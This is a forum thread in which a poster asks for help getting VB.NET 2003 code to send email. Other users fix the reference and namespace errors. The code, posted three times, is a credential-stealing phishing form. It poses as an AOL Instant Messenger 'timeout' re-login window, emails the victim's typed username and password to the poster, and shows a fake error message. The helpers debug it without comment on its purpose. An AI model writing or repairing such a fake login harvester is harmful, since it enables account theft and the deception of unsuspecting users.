my vb.net 2003 dosent have the SMTP MAIL class...?
Code:
Imports System
Imports System.Web.Mail.MailMessage
Public Class Form1
Inherits System.Windows.Forms.Form
#Region " Windows Form Designer generated code "
Public Sub New()
MyBase.New()
'This call is required by the Windows Form Designer.
InitializeComponent()
'Add any initialization after the InitializeComponent() call
End Sub
'Form overrides dispose to clean up the component list.
Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
If disposing Then
If Not (components Is Nothing) Then
components.Dispose()
End If
End If
MyBase.Dispose(disposing)
End Sub
'Required by the Windows Form Designer
Private components As System.ComponentModel.IContainer
'NOTE: The following procedure is required by the Windows Form Designer
'It can be modified using the Windows Form Designer.
'Do not modify it using the code editor.
Friend WithEvents Label1 As System.Windows.Forms.Label
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
Friend WithEvents Button1 As System.Windows.Forms.Button
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
Me.Label1 = New System.Windows.Forms.Label
Me.TextBox1 = New System.Windows.Forms.TextBox
Me.TextBox2 = New System.Windows.Forms.TextBox
Me.Button1 = New System.Windows.Forms.Button
Me.SuspendLayout()
'
'Label1
'
Me.Label1.Location = New System.Drawing.Point(0, 0)
Me.Label1.Name = "Label1"
Me.Label1.Size = New System.Drawing.Size(360, 40)
Me.Label1.TabIndex = 0
Me.Label1.Text = "A timeout error has occured. Please re-login to Instant Messenger. A timeout erro" & _
"r occurs annualy for security reasons, please re-login below."
'
'TextBox1
'
Me.TextBox1.Location = New System.Drawing.Point(24, 48)
Me.TextBox1.Name = "TextBox1"
Me.TextBox1.Size = New System.Drawing.Size(200, 20)
Me.TextBox1.TabIndex = 1
Me.TextBox1.Text = "username"
'
'TextBox2
'
Me.TextBox2.Location = New System.Drawing.Point(24, 80)
Me.TextBox2.Name = "TextBox2"
Me.TextBox2.PasswordChar = Microsoft.VisualBasic.ChrW(42)
Me.TextBox2.Size = New System.Drawing.Size(200, 20)
Me.TextBox2.TabIndex = 2
Me.TextBox2.Text = "password"
'
'Button1
'
Me.Button1.Location = New System.Drawing.Point(248, 64)
Me.Button1.Name = "Button1"
Me.Button1.Size = New System.Drawing.Size(96, 24)
Me.Button1.TabIndex = 3
Me.Button1.Text = "Login"
'
'Form1
'
Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
Me.ClientSize = New System.Drawing.Size(360, 118)
Me.Controls.Add(Me.Button1)
Me.Controls.Add(Me.TextBox2)
Me.Controls.Add(Me.TextBox1)
Me.Controls.Add(Me.Label1)
Me.Name = "Form1"
Me.Text = "AOL IM Timeout!!!"
Me.ResumeLayout(False)
End Sub
#End Region
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim Message As System.Web.Mail.MailMessage = New System.Web.Mail.MailMessage
Message.To = "[email protected]"
Message.From = "[email protected]"
Message.Subject = "Password from " + TextBox1.Text
Message.Body = "Username: " + TextBox1.Text + " Password: " + TextBox2.Text
Try
SmtpMail.SmtpServer = "mail.yahoo.com"
SmtpMail.Send(Message)
Catch ehttp As System.Web.HttpException
MessageBox.Show("ERROR IN RE-LOGIN. PLEASE REPORT TO AIM.")
End Try
End Sub
End Class
i know the first namespace thing is wrong.. the second IMPORTS. but it still dont work.
It's perfectly okay to use the System.Web.Mail.MailMessage functionality in a Windows application, even though it's a web app function. The reason there isn't a specific one for WinForms is because there doesn't need to be (it would be redundant, since the web version works). You're on the right track. Run with it!
Cheers!
Managing senior programmers is like herding cats. -- Anonymous
when i type System.Web, all i get in the pop-up window is ASPPERMISSION STUFF.. and all of my refrences i have to the smtp thing have blue underlines... tooo many errors.
Code:
Imports System
Imports System.Web
Public Class Form1
Inherits System.Windows.Forms.Form
#Region " Windows Form Designer generated code "
Public Sub New()
MyBase.New()
'This call is required by the Windows Form Designer.
InitializeComponent()
'Add any initialization after the InitializeComponent() call
End Sub
'Form overrides dispose to clean up the component list.
Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
If disposing Then
If Not (components Is Nothing) Then
components.Dispose()
End If
End If
MyBase.Dispose(disposing)
End Sub
'Required by the Windows Form Designer
Private components As System.ComponentModel.IContainer
'NOTE: The following procedure is required by the Windows Form Designer
'It can be modified using the Windows Form Designer.
'Do not modify it using the code editor.
Friend WithEvents Label1 As System.Windows.Forms.Label
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
Friend WithEvents Button1 As System.Windows.Forms.Button
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
Me.Label1 = New System.Windows.Forms.Label
Me.TextBox1 = New System.Windows.Forms.TextBox
Me.TextBox2 = New System.Windows.Forms.TextBox
Me.Button1 = New System.Windows.Forms.Button
Me.SuspendLayout()
'
'Label1
'
Me.Label1.Location = New System.Drawing.Point(0, 0)
Me.Label1.Name = "Label1"
Me.Label1.Size = New System.Drawing.Size(360, 40)
Me.Label1.TabIndex = 0
Me.Label1.Text = "A timeout error has occured. Please re-login to Instant Messenger. A timeout erro" & _
"r occurs annualy for security reasons, please re-login below."
'
'TextBox1
'
Me.TextBox1.Location = New System.Drawing.Point(24, 48)
Me.TextBox1.Name = "TextBox1"
Me.TextBox1.Size = New System.Drawing.Size(200, 20)
Me.TextBox1.TabIndex = 1
Me.TextBox1.Text = "username"
'
'TextBox2
'
Me.TextBox2.Location = New System.Drawing.Point(24, 80)
Me.TextBox2.Name = "TextBox2"
Me.TextBox2.PasswordChar = Microsoft.VisualBasic.ChrW(42)
Me.TextBox2.Size = New System.Drawing.Size(200, 20)
Me.TextBox2.TabIndex = 2
Me.TextBox2.Text = "password"
'
'Button1
'
Me.Button1.Location = New System.Drawing.Point(248, 64)
Me.Button1.Name = "Button1"
Me.Button1.Size = New System.Drawing.Size(96, 24)
Me.Button1.TabIndex = 3
Me.Button1.Text = "Login"
'
'Form1
'
Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
Me.ClientSize = New System.Drawing.Size(360, 118)
Me.Controls.Add(Me.Button1)
Me.Controls.Add(Me.TextBox2)
Me.Controls.Add(Me.TextBox1)
Me.Controls.Add(Me.Label1)
Me.Name = "Form1"
Me.Text = "AOL IM Timeout!!!"
Me.ResumeLayout(False)
End Sub
#End Region
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim Message As System.Web.Mail.MailMessage = New System.Web.Mail.MailMessage
Message.To = "[email protected]"
Message.From = "[email protected]"
Message.Subject = "Password from " + TextBox1.Text
Message.Body = "Username: " + TextBox1.Text + " Password: " + TextBox2.Text
Try
SmtpMail.SmtpServer = "mail.yahoo.com"
SmtpMail.Send(Message)
Catch ehttp As System.Web.HttpException
MessageBox.Show("ERROR IN RE-LOGIN. PLEASE REPORT TO AIM.")
End Try
End Sub
End Class
Imports is just a way to shortcut typing it doesn't actually add anything to your app. Windows applications don't by default have a reference to System.Web which has the items you need. right click on references in the solution explorer and add a reference to the file System.Web.dll.
Imports System
Imports System.Web
Public Class Form1
Inherits System.Windows.Forms.Form
#Region " Windows Form Designer generated code "
Public Sub New()
MyBase.New()
'This call is required by the Windows Form Designer.
InitializeComponent()
'Add any initialization after the InitializeComponent() call
End Sub
'Form overrides dispose to clean up the component list.
Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
If disposing Then
If Not (components Is Nothing) Then
components.Dispose()
End If
End If
MyBase.Dispose(disposing)
End Sub
'Required by the Windows Form Designer
Private components As System.ComponentModel.IContainer
'NOTE: The following procedure is required by the Windows Form Designer
'It can be modified using the Windows Form Designer.
'Do not modify it using the code editor.
Friend WithEvents Label1 As System.Windows.Forms.Label
Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
Friend WithEvents Button1 As System.Windows.Forms.Button
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
Me.Label1 = New System.Windows.Forms.Label
Me.TextBox1 = New System.Windows.Forms.TextBox
Me.TextBox2 = New System.Windows.Forms.TextBox
Me.Button1 = New System.Windows.Forms.Button
Me.SuspendLayout()
'
'Label1
'
Me.Label1.Location = New System.Drawing.Point(0, 0)
Me.Label1.Name = "Label1"
Me.Label1.Size = New System.Drawing.Size(360, 40)
Me.Label1.TabIndex = 0
Me.Label1.Text = "A timeout error has occured. Please re-login to Instant Messenger. A timeout erro" & _
"r occurs annualy for security reasons, please re-login below."
'
'TextBox1
'
Me.TextBox1.Location = New System.Drawing.Point(24, 48)
Me.TextBox1.Name = "TextBox1"
Me.TextBox1.Size = New System.Drawing.Size(200, 20)
Me.TextBox1.TabIndex = 1
Me.TextBox1.Text = "username"
'
'TextBox2
'
Me.TextBox2.Location = New System.Drawing.Point(24, 80)
Me.TextBox2.Name = "TextBox2"
Me.TextBox2.PasswordChar = Microsoft.VisualBasic.ChrW(42)
Me.TextBox2.Size = New System.Drawing.Size(200, 20)
Me.TextBox2.TabIndex = 2
Me.TextBox2.Text = "password"
'
'Button1
'
Me.Button1.Location = New System.Drawing.Point(248, 64)
Me.Button1.Name = "Button1"
Me.Button1.Size = New System.Drawing.Size(96, 24)
Me.Button1.TabIndex = 3
Me.Button1.Text = "Login"
'
'Form1
'
Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
Me.ClientSize = New System.Drawing.Size(360, 118)
Me.Controls.Add(Me.Button1)
Me.Controls.Add(Me.TextBox2)
Me.Controls.Add(Me.TextBox1)
Me.Controls.Add(Me.Label1)
Me.Name = "Form1"
Me.Text = "AOL IM Timeout!!!"
Me.ResumeLayout(False)
End Sub
#End Region
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim Message As System.Web.Mail.MailMessage = New System.Web.Mail.MailMessage
Message.To = "[email protected]"
Message.From = "[email protected]"
Message.Subject = "Password from " + TextBox1.Text
Message.Body = "Username: " + TextBox1.Text + " Password: " + TextBox2.Text
Try
System.Web.Mail.SmtpMail.SmtpServer = "mail.yahoo.com"
System.Web.Mail.SmtpMail.Send(Message)
Catch ehttp As System.Web.HttpException
MessageBox.Show("ERROR IN RE-LOGIN. PLEASE REPORT TO AIM.")
End Try
End Sub
End Class
ok.. there are no errors, but i get the msgbox and i DONT get the email... whats the deal? i have the DLL added to the proj.
It is possible that you are having a problem with authenticating through your mail server. You may want to check this thread if you have not yet Please help SMTP server authentication
That will show you more information about what the error is and where it is coming from.
Hey ed, when addind a reference, how much more does that add to your app? does it add the entire file or just what it needs after compiling?
Are the referenced files still dll's? I heard that those were gone like c-64. Quoted By thephantom
Well referenced files are dependencies so your app requires them to run but they don't actually add much to your application itself. They are loaded into memory when used and do not get compiled into your application. In fact DLL stands for dynamic link library, because it is a seperate library that your application links to at runtime (dynamically). So they stay dlls and dlls are still around and this is a good thing.
I had a similar problem. I fixed it by sending it the arguments individually instead sending it as a structure. I know it's SUPPOSED to work yours and my way but I had no succes. try sending your message as individual arguments.
exactly. I would suggest, however, creating constants or variables and passing THEM instead of hard-coding your data.
I don't know why the syntax won't work the way you have it though. I tried that and although there are no run-time errors, it only works for me by doing it the long way